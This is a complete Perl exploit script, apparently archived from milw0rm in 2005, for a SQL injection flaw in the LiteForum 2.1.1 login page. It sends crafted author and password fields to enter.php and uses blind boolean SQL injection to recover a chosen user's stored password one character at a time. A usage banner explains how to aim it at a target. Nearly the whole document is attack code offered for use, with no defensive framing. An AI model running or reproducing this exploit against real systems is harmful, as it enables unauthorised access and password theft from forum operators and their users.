LiteForum 2.1.1 - SQL Injection

#!/usr/bin/perl

use LWP::UserAgent;

## LiteForum 2.1.1 (http://www.softtime.ru)
## sql injection exploit
## work on all mysql versions
## by 1dt.w0lf
## RusH security team (http://rst.void.ru)
## ---------------------------------------
## greets 2:
## ghc (www.ghc.ru)
## Gh0st Security Team (http://gst.void.ru) heya Ch0ke7 and off couse "re ine" ;)
## 0xdeadbabe Security Research (0xdeadbabe.blackhatz.info)
## 10x to cr0n for idea abour kewl haxor "username" =)))

$path   = $ARGV[0];
$userid = $ARGV[1];

$|++;
$s_num = 1;

if (@ARGV < 2) { &usage; }
if ($ARGV[1]=~/[^0-9]/) { print "stupid! \"".$ARGV[1]."\" is not number!"; exit(); }
print " Please wait...\r\n";
print " Progress : [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
if ($i=="0")
 {
 if(length($allchar)>0)
 {
 print qq|]

   USER_ID: $userid
 USER_PASS: $allchar
 |;
 }
 else
 {
 print qq|]
 Forum not vulnerable or user ID is incorrect|;
 }

 exit();


 }
else
 {
 print "#";
 $allchar .= chr($i);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }

sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }

sub check($)
 {
 $n++;
 $ccheck = $_[0];

 $lite_f = LWP::UserAgent->new() or die;
 $res = $lite_f->post("$path",
 [
 "author" => "i_am_kewl_hakka_FATAL_ERROR_blyat\\",
 "pswrd"  => " OR (id_author=".$userid." AND (ascii(substring(passw,".$s_num.",1))".$ccheck.")) /*"
 ]
 );
 @results = $res->content;

 foreach $result(@results)
  {
  #print $result."\r\n";
  if ($result =~ /Error/) { return 1; }
  }
 return 0;
 }

sub usage {
 print q|
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 LiteForum 2.1.1 sql injection exploit with one char bruteforce
           by RusH security team (www.rst.void.ru)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Usage: r57lite211.pl [path] [id]

 [path] - path to enter.php (http://host.com/forum/enter.php)
 [id]   - user ID to bruteforce (1,2,3...)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 |;
 exit();
}

# milw0rm.com [2005-02-04]